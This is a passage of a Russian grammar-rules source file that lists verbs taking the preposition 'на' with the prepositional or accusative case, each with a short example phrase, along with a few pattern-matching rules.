rus_verbs:настигнуть{}, // настигнуть на окраине
rus_verbs:укрыться{}, // укрыться на чердаке
rus_verbs:расплакаться{}, // расплакаться на заседании комиссии
rus_verbs:заканчивать{}, // заканчивать на последнем задании
rus_verbs:пролежать{}, // пролежать на столе
rus_verbs:громоздиться{}, // громоздиться на полу
rus_verbs:замерзнуть{}, // замерзнуть на открытом воздухе
rus_verbs:поскользнуться{}, // поскользнуться на льду
rus_verbs:таскать{}, // таскать на спине
rus_verbs:просматривать{}, // просматривать на сайте
rus_verbs:обдумать{}, // обдумать на досуге
rus_verbs:гадать{}, // гадать на кофейной гуще
rus_verbs:останавливать{}, // останавливать на выходе
rus_verbs:обозначать{}, // обозначать на странице
rus_verbs:долететь{}, // долететь на спортивном байке
rus_verbs:тесниться{}, // тесниться на чердачке
rus_verbs:хоронить{}, // хоронить на частном кладбище
rus_verbs:установиться{}, // установиться на юге
rus_verbs:прикидывать{}, // прикидывать на клочке бумаги
rus_verbs:затаиться{}, // затаиться на дереве
rus_verbs:раздобыть{}, // раздобыть на складе
rus_verbs:перебросить{}, // перебросить на вертолетах
rus_verbs:захватывать{}, // захватывать на базе
rus_verbs:сказаться{}, // сказаться на итоговых оценках
rus_verbs:покачиваться{}, // покачиваться на волнах
rus_verbs:крутиться{}, // крутиться на кухне
rus_verbs:помещаться{}, // помещаться на полке
rus_verbs:питаться{}, // питаться на помойке
rus_verbs:отдохнуть{}, // отдохнуть на загородной вилле
rus_verbs:кататься{}, // кататься на велике
rus_verbs:поработать{}, // поработать на стройке
rus_verbs:ограбить{}, // ограбить на пустыре
rus_verbs:зарабатывать{}, // зарабатывать на бирже
rus_verbs:преуспеть{}, // преуспеть на ниве искусства
rus_verbs:заерзать{}, // заерзать на стуле
rus_verbs:разъяснить{}, // разъяснить на полях
rus_verbs:отчеканить{}, // отчеканить на медной пластине
rus_verbs:торговать{}, // торговать на рынке
rus_verbs:поколебаться{}, // поколебаться на пороге
rus_verbs:прикинуть{}, // прикинуть на бумажке
rus_verbs:рассечь{}, // рассечь на тупом конце
rus_verbs:посмеяться{}, // посмеяться на переменке
rus_verbs:остыть{}, // остыть на морозном воздухе
rus_verbs:запереться{}, // запереться на чердаке
rus_verbs:обогнать{}, // обогнать на повороте
rus_verbs:подтянуться{}, // подтянуться на турнике
rus_verbs:привозить{}, // привозить на машине
rus_verbs:подбирать{}, // подбирать на полу
rus_verbs:уничтожать{}, // уничтожать на подходе
rus_verbs:притаиться{}, // притаиться на вершине
rus_verbs:плясать{}, // плясать на костях
rus_verbs:поджидать{}, // поджидать на вокзале
rus_verbs:закончить{}, // Мы закончили игру на самом интересном месте (САМ не может быть первым прилагательным в цепочке!)
rus_verbs:смениться{}, // смениться на посту
rus_verbs:посчитать{}, // посчитать на пальцах
rus_verbs:прицелиться{}, // прицелиться на бегу
rus_verbs:нарисовать{}, // нарисовать на стене
rus_verbs:прыгать{}, // прыгать на сцене
rus_verbs:повертеть{}, // повертеть на пальце
rus_verbs:попрощаться{}, // попрощаться на панихиде
инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на диване
rus_verbs:разобрать{}, // разобрать на столе
rus_verbs:помереть{}, // помереть на чужбине
rus_verbs:различить{}, // различить на нечеткой фотографии
rus_verbs:рисовать{}, // рисовать на доске
rus_verbs:проследить{}, // проследить на экране
rus_verbs:задремать{}, // задремать на диване
rus_verbs:ругаться{}, // ругаться на людях
rus_verbs:сгореть{}, // сгореть на работе
rus_verbs:зазвучать{}, // зазвучать на коротких волнах
rus_verbs:задохнуться{}, // задохнуться на вершине горы
rus_verbs:порождать{}, // порождать на поверхности небольшую рябь
rus_verbs:отдыхать{}, // отдыхать на курорте
rus_verbs:образовать{}, // образовать на дне толстый слой
rus_verbs:поправиться{}, // поправиться на дармовых харчах
rus_verbs:отмечать{}, // отмечать на календаре
rus_verbs:реять{}, // реять на флагштоке
rus_verbs:ползти{}, // ползти на коленях
rus_verbs:продавать{}, // продавать на аукционе
rus_verbs:сосредоточиться{}, // сосредоточиться на основной задаче
rus_verbs:рыскать{}, // мышки рыскали на кухне
rus_verbs:расстегнуть{}, // расстегнуть на куртке все пуговицы
rus_verbs:напасть{}, // напасть на территории другого государства
rus_verbs:издать{}, // издать на западе
rus_verbs:оставаться{}, // оставаться на страже порядка
rus_verbs:появиться{}, // наконец появиться на экране
rus_verbs:лежать{}, // лежать на столе
rus_verbs:ждать{}, // ждать на берегу
инфинитив:писать{aux stress="пис^ать"}, // писать на бумаге
глагол:писать{aux stress="пис^ать"},
rus_verbs:оказываться{}, // оказываться на полу
rus_verbs:поставить{}, // поставить на столе
rus_verbs:держать{}, // держать на крючке
rus_verbs:выходить{}, // выходить на остановке
rus_verbs:заговорить{}, // заговорить на китайском языке
rus_verbs:ожидать{}, // ожидать на стоянке
rus_verbs:закричать{}, // закричал на минарете муэдзин
rus_verbs:простоять{}, // простоять на посту
rus_verbs:продолжить{}, // продолжить на первом этаже
rus_verbs:ощутить{}, // ощутить на себе влияние кризиса
rus_verbs:состоять{}, // состоять на учете
rus_verbs:готовиться{},
инфинитив:акклиматизироваться{вид:несоверш}, // альпинисты готовятся акклиматизироваться на новой высоте
глагол:акклиматизироваться{вид:несоверш},
rus_verbs:арестовать{}, // грабители были арестованы на месте преступления
rus_verbs:схватить{}, // грабители были схвачены на месте преступления
инфинитив:атаковать{ вид:соверш }, // взвод был атакован на границе
глагол:атаковать{ вид:соверш },
прилагательное:атакованный{ вид:соверш },
прилагательное:атаковавший{ вид:соверш },
rus_verbs:базировать{}, // установка будет базирована на границе
rus_verbs:базироваться{}, // установка базируется на границе
rus_verbs:барахтаться{}, // дети барахтались на мелководье
rus_verbs:браконьерить{}, // Охотники браконьерили ночью на реке
rus_verbs:браконьерствовать{}, // Охотники ночью браконьерствовали на реке
rus_verbs:бренчать{}, // парень что-то бренчал на гитаре
rus_verbs:бренькать{}, // парень что-то бренькает на гитаре
rus_verbs:начать{}, // Рынок акций РФ начал торги на отрицательной территории.
rus_verbs:буксовать{}, // Колеса буксуют на льду
rus_verbs:вертеться{}, // Непоседливый ученик много вертится на стуле
rus_verbs:взвести{}, // Боец взвел на оружии предохранитель
rus_verbs:вилять{}, // Машина сильно виляла на дороге
rus_verbs:висеть{}, // Яблоко висит на ветке
rus_verbs:возлежать{}, // возлежать на лежанке
rus_verbs:подниматься{}, // Мы поднимаемся на лифте
rus_verbs:подняться{}, // Мы поднимемся на лифте
rus_verbs:восседать{}, // Коля восседает на лошади
rus_verbs:воссиять{}, // Луна воссияла на небе
rus_verbs:воцариться{}, // Мир воцарился на всей земле
rus_verbs:воцаряться{}, // Мир воцаряется на всей земле
rus_verbs:вращать{}, // вращать на поясе
rus_verbs:вращаться{}, // вращаться на поясе
rus_verbs:встретить{}, // встретить друга на улице
rus_verbs:встретиться{}, // встретиться на занятиях
rus_verbs:встречать{}, // встречать на занятиях
rus_verbs:въебывать{}, // въебывать на работе
rus_verbs:въезжать{}, // въезжать на автомобиле
rus_verbs:въехать{}, // въехать на автомобиле
rus_verbs:выгорать{}, // ткань выгорает на солнце
rus_verbs:выгореть{}, // ткань выгорела на солнце
rus_verbs:выгравировать{}, // выгравировать на табличке надпись
rus_verbs:выжить{}, // выжить на необитаемом острове
rus_verbs:вылежаться{}, // помидоры вылежались на солнце
rus_verbs:вылеживаться{}, // вылеживаться на солнце
rus_verbs:выместить{}, // выместить на ком-то злобу
rus_verbs:вымещать{}, // вымещать на ком-то свое раздражение
rus_verbs:вымещаться{}, // вымещаться на ком-то
rus_verbs:выращивать{}, // выращивать на грядке помидоры
rus_verbs:выращиваться{}, // выращиваться на грядке
инфинитив:вырезать{вид:соверш}, // вырезать на доске надпись
глагол:вырезать{вид:соверш},
инфинитив:вырезать{вид:несоверш},
глагол:вырезать{вид:несоверш},
rus_verbs:вырисоваться{}, // вырисоваться на графике
rus_verbs:вырисовываться{}, // вырисовываться на графике
rus_verbs:высаживать{}, // высаживать на необитаемом острове
rus_verbs:высаживаться{}, // высаживаться на острове
rus_verbs:высвечивать{}, // высвечивать на дисплее температуру
rus_verbs:высвечиваться{}, // высвечиваться на дисплее
rus_verbs:выстроить{}, // выстроить на фундаменте
rus_verbs:выстроиться{}, // выстроиться на плацу
rus_verbs:выстудить{}, // выстудить на морозе
rus_verbs:выстудиться{}, // выстудиться на морозе
rus_verbs:выстужать{}, // выстужать на морозе
rus_verbs:выстуживать{}, // выстуживать на морозе
rus_verbs:выстуживаться{}, // выстуживаться на морозе
rus_verbs:выстукать{}, // выстукать на клавиатуре
rus_verbs:выстукивать{}, // выстукивать на клавиатуре
rus_verbs:выстукиваться{}, // выстукиваться на клавиатуре
rus_verbs:выступать{}, // выступать на сцене
rus_verbs:выступить{}, // выступить на сцене
rus_verbs:выстучать{}, // выстучать на клавиатуре
rus_verbs:выстывать{}, // выстывать на морозе
rus_verbs:выстыть{}, // выстыть на морозе
rus_verbs:вытатуировать{}, // вытатуировать на руке якорь
rus_verbs:говорить{}, // говорить на повышенных тонах
rus_verbs:заметить{}, // заметить на берегу
rus_verbs:стоять{}, // твёрдо стоять на ногах
rus_verbs:оказаться{}, // оказаться на передовой линии
rus_verbs:почувствовать{}, // почувствовать на своей шкуре
rus_verbs:остановиться{}, // остановиться на первом пункте
rus_verbs:показаться{}, // показаться на горизонте
rus_verbs:чувствовать{}, // чувствовать на своей шкуре
rus_verbs:искать{}, // искать на открытом пространстве
rus_verbs:иметься{}, // иметься на складе
rus_verbs:клясться{}, // клясться на Коране
rus_verbs:прервать{}, // прервать на полуслове
rus_verbs:играть{}, // играть на чувствах
rus_verbs:спуститься{}, // спуститься на парашюте
rus_verbs:понадобиться{}, // понадобиться на экзамене
rus_verbs:служить{}, // служить на флоте
rus_verbs:подобрать{}, // подобрать на улице
rus_verbs:появляться{}, // появляться на сцене
rus_verbs:селить{}, // селить на чердаке
rus_verbs:поймать{}, // поймать на границе
rus_verbs:увидать{}, // увидать на опушке
rus_verbs:подождать{}, // подождать на перроне
rus_verbs:прочесть{}, // прочесть на полях
rus_verbs:тонуть{}, // тонуть на мелководье
rus_verbs:ощущать{}, // ощущать на коже
rus_verbs:отметить{}, // отметить на полях
rus_verbs:показывать{}, // показывать на графике
rus_verbs:разговаривать{}, // разговаривать на иностранном языке
rus_verbs:прочитать{}, // прочитать на сайте
rus_verbs:попробовать{}, // попробовать на практике
rus_verbs:замечать{}, // замечать на коже грязь
rus_verbs:нести{}, // нести на плечах
rus_verbs:носить{}, // носить на голове
rus_verbs:гореть{}, // гореть на работе
rus_verbs:застыть{}, // застыть на пороге
инфинитив:жениться{ вид:соверш }, // жениться на королеве
глагол:жениться{ вид:соверш },
прилагательное:женатый{},
прилагательное:женившийся{},
rus_verbs:спрятать{}, // спрятать на чердаке
rus_verbs:развернуться{}, // развернуться на плацу
rus_verbs:строить{}, // строить на песке
rus_verbs:устроить{}, // устроить на даче тестральный вечер
rus_verbs:настаивать{}, // настаивать на выполнении приказа
rus_verbs:находить{}, // находить на берегу
rus_verbs:мелькнуть{}, // мелькнуть на экране
rus_verbs:очутиться{}, // очутиться на опушке леса
инфинитив:использовать{вид:соверш}, // использовать на работе
глагол:использовать{вид:соверш},
инфинитив:использовать{вид:несоверш},
глагол:использовать{вид:несоверш},
прилагательное:использованный{},
прилагательное:использующий{},
прилагательное:использовавший{},
rus_verbs:лететь{}, // лететь на воздушном шаре
rus_verbs:смеяться{}, // смеяться на сцене
rus_verbs:ездить{}, // ездить на мопеде
rus_verbs:заснуть{}, // заснуть на диване
rus_verbs:застать{}, // застать на рабочем месте
rus_verbs:очнуться{}, // очнуться на больничной койке
rus_verbs:разглядеть{}, // разглядеть на фотографии
rus_verbs:обойти{}, // обойти на вираже
rus_verbs:удержаться{}, // удержаться на троне
rus_verbs:побывать{}, // побывать на другой планете
rus_verbs:заняться{}, // заняться на выходных делом
rus_verbs:вянуть{}, // вянуть на солнце
rus_verbs:постоять{}, // постоять на голове
rus_verbs:приобрести{}, // приобрести на распродаже
rus_verbs:попасться{}, // попасться на краже
rus_verbs:продолжаться{}, // продолжаться на земле
rus_verbs:открывать{}, // открывать на арене
rus_verbs:создавать{}, // создавать на сцене
rus_verbs:обсуждать{}, // обсуждать на кухне
rus_verbs:отыскать{}, // отыскать на полу
rus_verbs:уснуть{}, // уснуть на диване
rus_verbs:задержаться{}, // задержаться на работе
rus_verbs:курить{}, // курить на свежем воздухе
rus_verbs:приподняться{}, // приподняться на локтях
rus_verbs:установить{}, // установить на вершине
rus_verbs:запереть{}, // запереть на балконе
rus_verbs:синеть{}, // синеть на воздухе
rus_verbs:убивать{}, // убивать на нейтральной территории
rus_verbs:скрываться{}, // скрываться на даче
rus_verbs:родить{}, // родить на полу
rus_verbs:описать{}, // описать на страницах книги
rus_verbs:перехватить{}, // перехватить на подлете
rus_verbs:скрывать{}, // скрывать на даче
rus_verbs:сменить{}, // сменить на посту
rus_verbs:мелькать{}, // мелькать на экране
rus_verbs:присутствовать{}, // присутствовать на мероприятии
rus_verbs:украсть{}, // украсть на рынке
rus_verbs:победить{}, // победить на ринге
rus_verbs:упомянуть{}, // упомянуть на страницах романа
rus_verbs:плыть{}, // плыть на старой лодке
rus_verbs:повиснуть{}, // повиснуть на перекладине
rus_verbs:нащупать{}, // нащупать на дне
rus_verbs:затихнуть{}, // затихнуть на дне
rus_verbs:построить{}, // построить на участке
rus_verbs:поддерживать{}, // поддерживать на поверхности
rus_verbs:заработать{}, // заработать на бирже
rus_verbs:провалиться{}, // провалиться на экзамене
rus_verbs:сохранить{}, // сохранить на диске
rus_verbs:располагаться{}, // располагаться на софе
rus_verbs:поклясться{}, // поклясться на библии
rus_verbs:сражаться{}, // сражаться на арене
rus_verbs:спускаться{}, // спускаться на дельтаплане
rus_verbs:уничтожить{}, // уничтожить на подступах
rus_verbs:изучить{}, // изучить на практике
rus_verbs:рождаться{}, // рождаться на праздниках
rus_verbs:прилететь{}, // прилететь на самолете
rus_verbs:догнать{}, // догнать на перекрестке
rus_verbs:изобразить{}, // изобразить на бумаге
rus_verbs:проехать{}, // проехать на тракторе
rus_verbs:приготовить{}, // приготовить на масле
rus_verbs:споткнуться{}, // споткнуться на полу
rus_verbs:собирать{}, // собирать на берегу
rus_verbs:отсутствовать{}, // отсутствовать на тусовке
rus_verbs:приземлиться{}, // приземлиться на военном аэродроме
rus_verbs:сыграть{}, // сыграть на трубе
rus_verbs:прятаться{}, // прятаться на даче
rus_verbs:спрятаться{}, // спрятаться на чердаке
rus_verbs:провозгласить{}, // провозгласить на митинге
rus_verbs:изложить{}, // изложить на бумаге
rus_verbs:использоваться{}, // использоваться на практике
rus_verbs:замяться{}, // замяться на входе
rus_verbs:раздаваться{}, // Крик ягуара раздается на краю болота
rus_verbs:сверкнуть{}, // сверкнуть на солнце
rus_verbs:сверкать{}, // сверкать на свету
rus_verbs:задержать{}, // задержать на митинге
rus_verbs:осечься{}, // осечься на первом слове
rus_verbs:хранить{}, // хранить на банковском счету
rus_verbs:шутить{}, // шутить на уроке
rus_verbs:кружиться{}, // кружиться на балу
rus_verbs:чертить{}, // чертить на доске
rus_verbs:отразиться{}, // отразиться на оценках
rus_verbs:греть{}, // греть на солнце
rus_verbs:рассуждать{}, // рассуждать на страницах своей книги
rus_verbs:окружать{}, // окружать на острове
rus_verbs:сопровождать{}, // сопровождать на охоте
rus_verbs:заканчиваться{}, // заканчиваться на самом интересном месте
rus_verbs:содержаться{}, // содержаться на приусадебном участке
rus_verbs:поселиться{}, // поселиться на даче
rus_verbs:запеть{}, // запеть на сцене
инфинитив:провозить{ вид:несоверш }, // провозить на теле
глагол:провозить{ вид:несоверш },
прилагательное:провезенный{},
прилагательное:провозивший{вид:несоверш},
прилагательное:провозящий{вид:несоверш},
деепричастие:провозя{},
rus_verbs:мочить{}, // мочить на месте
rus_verbs:преследовать{}, // преследовать на территории другого штата
rus_verbs:пролететь{}, // пролетел на параплане
rus_verbs:драться{}, // драться на рапирах
rus_verbs:просидеть{}, // просидеть на занятиях
rus_verbs:убираться{}, // убираться на балконе
rus_verbs:таять{}, // таять на солнце
rus_verbs:проверять{}, // проверять на полиграфе
rus_verbs:убеждать{}, // убеждать на примере
rus_verbs:скользить{}, // скользить на льду
rus_verbs:приобретать{}, // приобретать на распродаже
rus_verbs:летать{}, // летать на метле
rus_verbs:толпиться{}, // толпиться на перроне
rus_verbs:плавать{}, // плавать на надувном матрасе
rus_verbs:описывать{}, // описывать на страницах повести
rus_verbs:пробыть{}, // пробыть на солнце слишком долго
rus_verbs:застрять{}, // застрять на верхнем этаже
rus_verbs:метаться{}, // метаться на полу
rus_verbs:сжечь{}, // сжечь на костре
rus_verbs:расслабиться{}, // расслабиться на кушетке
rus_verbs:услыхать{}, // услыхать на рынке
rus_verbs:удержать{}, // удержать на прежнем уровне
rus_verbs:образоваться{}, // образоваться на дне
rus_verbs:рассмотреть{}, // рассмотреть на поверхности чипа
rus_verbs:уезжать{}, // уезжать на попутке
rus_verbs:похоронить{}, // похоронить на закрытом кладбище
rus_verbs:настоять{}, // настоять на пересмотре оценок
rus_verbs:растянуться{}, // растянуться на горячем песке
rus_verbs:покрутить{}, // покрутить на шесте
rus_verbs:обнаружиться{}, // обнаружиться на болоте
rus_verbs:гулять{}, // гулять на свадьбе
rus_verbs:утонуть{}, // утонуть на курорте
rus_verbs:храниться{}, // храниться на депозите
rus_verbs:танцевать{}, // танцевать на свадьбе
rus_verbs:трудиться{}, // трудиться на заводе
инфинитив:засыпать{переходность:непереходный вид:несоверш}, // засыпать на кровати
глагол:засыпать{переходность:непереходный вид:несоверш},
деепричастие:засыпая{переходность:непереходный вид:несоверш},
прилагательное:засыпавший{переходность:непереходный вид:несоверш},
прилагательное:засыпающий{ вид:несоверш переходность:непереходный }, // ребенок, засыпающий на руках
rus_verbs:сушить{}, // сушить на открытом воздухе
rus_verbs:зашевелиться{}, // зашевелиться на чердаке
rus_verbs:обдумывать{}, // обдумывать на досуге
rus_verbs:докладывать{}, // докладывать на научной конференции
rus_verbs:промелькнуть{}, // промелькнуть на экране
// прилагательное:находящийся{ вид:несоверш }, // колонна, находящаяся на ничейной территории
прилагательное:написанный{}, // слово, написанное на заборе
rus_verbs:умещаться{}, // компьютер, умещающийся на ладони
rus_verbs:открыть{}, // книга, открытая на последней странице
rus_verbs:спать{}, // йог, спящий на гвоздях
rus_verbs:пробуксовывать{}, // колесо, пробуксовывающее на обледенелом асфальте
rus_verbs:забуксовать{}, // колесо, забуксовавшее на обледенелом асфальте
rus_verbs:отобразиться{}, // удивление, отобразившееся на лице
rus_verbs:увидеть{}, // на полу я увидел чьи-то следы
rus_verbs:видеть{}, // на полу я вижу чьи-то следы
rus_verbs:оставить{}, // Мел оставил на доске белый след.
rus_verbs:оставлять{}, // Мел оставляет на доске белый след.
rus_verbs:встречаться{}, // встречаться на лекциях
rus_verbs:познакомиться{}, // познакомиться на занятиях
rus_verbs:устроиться{}, // она устроилась на кровати
rus_verbs:ложиться{}, // ложись на полу
rus_verbs:останавливаться{}, // останавливаться на достигнутом
rus_verbs:спотыкаться{}, // спотыкаться на ровном месте
rus_verbs:распечатать{}, // распечатать на бумаге
rus_verbs:распечатывать{}, // распечатывать на бумаге
rus_verbs:просмотреть{}, // просмотреть на бумаге
rus_verbs:закрепляться{}, // закрепляться на плацдарме
rus_verbs:погреться{}, // погреться на солнышке
rus_verbs:мешать{}, // Он мешал краски на палитре.
rus_verbs:занять{}, // Он занял первое место на соревнованиях.
rus_verbs:заговариваться{}, // Он заговаривался иногда на уроках.
деепричастие:женившись{ вид:соверш },
rus_verbs:везти{}, // Он везёт песок на тачке.
прилагательное:казненный{}, // Он был казнён на электрическом стуле.
rus_verbs:прожить{}, // Он безвыездно прожил всё лето на даче.
rus_verbs:принести{}, // Официантка принесла нам обед на подносе.
rus_verbs:переписать{}, // Перепишите эту рукопись на машинке.
rus_verbs:идти{}, // Поезд идёт на малой скорости.
rus_verbs:петь{}, // птички поют на рассвете
rus_verbs:смотреть{}, // Смотри на обороте.
rus_verbs:прибрать{}, // прибрать на столе
rus_verbs:прибраться{}, // прибраться на столе
rus_verbs:растить{}, // растить капусту на огороде
rus_verbs:тащить{}, // тащить ребенка на руках
rus_verbs:убирать{}, // убирать на столе
rus_verbs:простыть{}, // Я простыл на морозе.
rus_verbs:сиять{}, // ясные звезды мирно сияли на безоблачном весеннем небе.
rus_verbs:проводиться{}, // такие эксперименты не проводятся на воде
rus_verbs:достать{}, // Я не могу достать до яблок на верхних ветках.
rus_verbs:расплыться{}, // Чернила расплылись на плохой бумаге.
rus_verbs:вскочить{}, // У него вскочил прыщ на носу.
rus_verbs:свить{}, // У нас на балконе воробей свил гнездо.
rus_verbs:оторваться{}, // У меня на пальто оторвалась пуговица.
rus_verbs:восходить{}, // Солнце восходит на востоке.
rus_verbs:блестеть{}, // Снег блестит на солнце.
rus_verbs:побить{}, // Рысак побил всех лошадей на скачках.
rus_verbs:литься{}, // Реки крови льются на войне.
rus_verbs:держаться{}, // Ребёнок уже твёрдо держится на ногах.
rus_verbs:клубиться{}, // Пыль клубится на дороге.
инфинитив:написать{ aux stress="напис^ать" }, // Ты должен написать статью на английском языке
глагол:написать{ aux stress="напис^ать" }, // Он написал статью на русском языке.
// глагол:находиться{вид:несоверш}, // мой поезд находится на первом пути
// инфинитив:находиться{вид:несоверш},
rus_verbs:жить{}, // Было интересно жить на курорте.
rus_verbs:повидать{}, // Он много повидал на своём веку.
rus_verbs:разъезжаться{}, // Ноги разъезжаются не только на льду.
rus_verbs:расположиться{}, // Оба села расположились на берегу реки.
rus_verbs:объясняться{}, // Они объясняются на иностранном языке.
rus_verbs:прощаться{}, // Они долго прощались на вокзале.
rus_verbs:работать{}, // Она работает на ткацкой фабрике.
rus_verbs:купить{}, // Она купила молоко на рынке.
rus_verbs:поместиться{}, // Все книги поместились на полке.
глагол:проводить{вид:несоверш}, инфинитив:проводить{вид:несоверш}, // Нужно проводить теорию на практике.
rus_verbs:пожить{}, // Недолго она пожила на свете.
rus_verbs:краснеть{}, // Небо краснеет на закате.
rus_verbs:бывать{}, // На Волге бывает сильное волнение.
rus_verbs:ехать{}, // Мы туда ехали на автобусе.
rus_verbs:провести{}, // Мы провели месяц на даче.
rus_verbs:поздороваться{}, // Мы поздоровались при встрече на улице.
rus_verbs:расти{}, // Арбузы растут теперь не только на юге.
ГЛ_ИНФ(сидеть), // три больших пса сидят на траве
ГЛ_ИНФ(сесть), // три больших пса сели на траву
ГЛ_ИНФ(перевернуться), // На дороге перевернулся автомобиль
ГЛ_ИНФ(повезти), // я повезу тебя на машине
ГЛ_ИНФ(отвезти), // мы отвезем тебя на такси
ГЛ_ИНФ(пить), // пить на кухне чай
ГЛ_ИНФ(найти), // найти на острове
ГЛ_ИНФ(быть), // на этих костях есть следы зубов
ГЛ_ИНФ(высадиться), // помощники высадились на острове
ГЛ_ИНФ(делать),прилагательное:делающий{}, прилагательное:делавший{}, деепричастие:делая{}, // смотрю фильм о том, что пираты делали на необитаемом острове
ГЛ_ИНФ(случиться), // это случилось на опушке леса
ГЛ_ИНФ(продать),
ГЛ_ИНФ(есть) // кошки ели мой корм на песчаном берегу
}
#endregion VerbList
// Чтобы разрешить связывание в паттернах типа: смотреть на youtube
fact гл_предл
{
if context { Гл_НА_Предл предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_НА_Предл предлог:на{} *:*{падеж:предл} }
then return true
}
// локатив
fact гл_предл
{
if context { Гл_НА_Предл предлог:на{} *:*{падеж:мест} }
then return true
}
#endregion ПРЕДЛОЖНЫЙ
#region ВИНИТЕЛЬНЫЙ
// НА+винительный падеж:
// ЗАБИРАТЬСЯ НА ВЕРШИНУ ГОРЫ
#region VerbList
wordentry_set Гл_НА_Вин=
{
rus_verbs:переметнуться{}, // Ее взгляд растерянно переметнулся на Лили.
rus_verbs:отогнать{}, // Водитель отогнал машину на стоянку.
rus_verbs:фапать{}, // Не фапай на желтяк и не перебивай.
rus_verbs:умножить{}, // Умножьте это количество примерно на 10.
//rus_verbs:умножать{},
rus_verbs:откатить{}, // Откатил Шпак валун на шлях и перекрыл им дорогу.
rus_verbs:откатывать{},
rus_verbs:доносить{}, // Вот и побежали на вас доносить.
rus_verbs:донести{},
rus_verbs:разбирать{}, // Ворованные автомобили злоумышленники разбирали на запчасти и продавали.
безлич_глагол:хватит{}, // - На одну атаку хватит.
rus_verbs:скупиться{}, // Он сражался за жизнь, не скупясь на хитрости и усилия, и пока этот стиль давал неплохие результаты.
rus_verbs:поскупиться{}, // Не поскупись на похвалы!
rus_verbs:подыматься{},
rus_verbs:транспортироваться{},
rus_verbs:бахнуть{}, // Бахнуть стакан на пол
rus_verbs:РАЗДЕЛИТЬ{}, // Президентские выборы разделили Венесуэлу на два непримиримых лагеря (РАЗДЕЛИТЬ)
rus_verbs:НАЦЕЛИВАТЬСЯ{}, // Невдалеке пролетел кондор, нацеливаясь на бизонью тушу. (НАЦЕЛИВАТЬСЯ)
rus_verbs:ВЫПЛЕСНУТЬ{}, // Низкий вибрирующий гул напоминал вулкан, вот-вот готовый выплеснуть на земную твердь потоки раскаленной лавы. (ВЫПЛЕСНУТЬ)
rus_verbs:ИСЧЕЗНУТЬ{}, // Оно фыркнуло и исчезло в лесу на другой стороне дороги (ИСЧЕЗНУТЬ)
rus_verbs:ВЫЗВАТЬ{}, // вызвать своего брата на поединок. (ВЫЗВАТЬ)
rus_verbs:ПОБРЫЗГАТЬ{}, // Матрос побрызгал немного фимиама на крошечный огонь (ПОБРЫЗГАТЬ/БРЫЗГАТЬ/БРЫЗНУТЬ/КАПНУТЬ/КАПАТЬ/ПОКАПАТЬ)
rus_verbs:БРЫЗГАТЬ{},
rus_verbs:БРЫЗНУТЬ{},
rus_verbs:КАПНУТЬ{},
rus_verbs:КАПАТЬ{},
rus_verbs:ПОКАПАТЬ{},
rus_verbs:ПООХОТИТЬСЯ{}, // Мы можем когда-нибудь вернуться и поохотиться на него. (ПООХОТИТЬСЯ/ОХОТИТЬСЯ)
rus_verbs:ОХОТИТЬСЯ{}, //
rus_verbs:ПОПАСТЬСЯ{}, // Не думал я, что они попадутся на это (ПОПАСТЬСЯ/НАРВАТЬСЯ/НАТОЛКНУТЬСЯ)
rus_verbs:НАРВАТЬСЯ{}, //
rus_verbs:НАТОЛКНУТЬСЯ{}, //
rus_verbs:ВЫСЛАТЬ{}, // Он выслал разведчиков на большое расстояние от основного отряда. (ВЫСЛАТЬ)
прилагательное:ПОХОЖИЙ{}, // Ты не выглядишь похожим на индейца (ПОХОЖИЙ)
rus_verbs:РАЗОРВАТЬ{}, // Через минуту он был мертв и разорван на части. (РАЗОРВАТЬ)
rus_verbs:СТОЛКНУТЬ{}, // Только быстрыми выпадами копья он сумел столкнуть их обратно на карниз. (СТОЛКНУТЬ/СТАЛКИВАТЬ)
rus_verbs:СТАЛКИВАТЬ{}, //
rus_verbs:СПУСТИТЬ{}, // Я побежал к ним, но они к тому времени спустили лодку на воду (СПУСТИТЬ)
rus_verbs:ПЕРЕБРАСЫВАТЬ{}, // Сирия перебрасывает на юг страны воинские подкрепления (ПЕРЕБРАСЫВАТЬ, ПЕРЕБРОСИТЬ, НАБРАСЫВАТЬ, НАБРОСИТЬ)
rus_verbs:ПЕРЕБРОСИТЬ{}, //
rus_verbs:НАБРАСЫВАТЬ{}, //
rus_verbs:НАБРОСИТЬ{}, //
rus_verbs:СВЕРНУТЬ{}, // Он вывел машину на бульвар и поехал на восток, а затем свернул на юг. (СВЕРНУТЬ/СВОРАЧИВАТЬ/ПОВЕРНУТЬ/ПОВОРАЧИВАТЬ)
rus_verbs:СВОРАЧИВАТЬ{}, // //
rus_verbs:ПОВЕРНУТЬ{}, //
rus_verbs:ПОВОРАЧИВАТЬ{}, //
rus_verbs:наорать{},
rus_verbs:ПРОДВИНУТЬСЯ{}, // Полк продвинется на десятки километров (ПРОДВИНУТЬСЯ)
rus_verbs:БРОСАТЬ{}, // Он бросает обещания на ветер (БРОСАТЬ)
rus_verbs:ОДОЛЖИТЬ{}, // Я вам одолжу книгу на десять дней (ОДОЛЖИТЬ)
rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое
rus_verbs:перегонять{},
rus_verbs:выгонять{},
rus_verbs:выгнать{},
rus_verbs:СВОДИТЬСЯ{}, // сейчас панели кузовов расходятся по десяткам покрасочных постов и потом сводятся вновь на общий конвейер (СВОДИТЬСЯ)
rus_verbs:ПОЖЕРТВОВАТЬ{}, // Бывший функционер компартии Эстонии пожертвовал деньги на расследования преступлений коммунизма (ПОЖЕРТВОВАТЬ)
rus_verbs:ПРОВЕРЯТЬ{}, // Школьников будут принудительно проверять на курение (ПРОВЕРЯТЬ)
rus_verbs:ОТПУСТИТЬ{}, // Приставы отпустят должников на отдых (ОТПУСТИТЬ)
rus_verbs:использоваться{}, // имеющийся у государства денежный запас активно используется на поддержание рынка акций
rus_verbs:назначаться{}, // назначаться на пост
rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал
rus_verbs:ШПИОНИТЬ{}, // Канадского офицера, шпионившего на Россию, приговорили к 20 годам тюрьмы (ШПИОНИТЬ НА вин)
rus_verbs:ЗАПЛАНИРОВАТЬ{}, // все деньги , запланированные на сейсмоукрепление домов на Камчатке (ЗАПЛАНИРОВАТЬ НА)
// rus_verbs:ПОХОДИТЬ{}, // больше походил на обвинительную речь , адресованную руководству республики (ПОХОДИТЬ НА)
rus_verbs:ДЕЙСТВОВАТЬ{}, // выявленный контрабандный канал действовал на постоянной основе (ДЕЙСТВОВАТЬ НА)
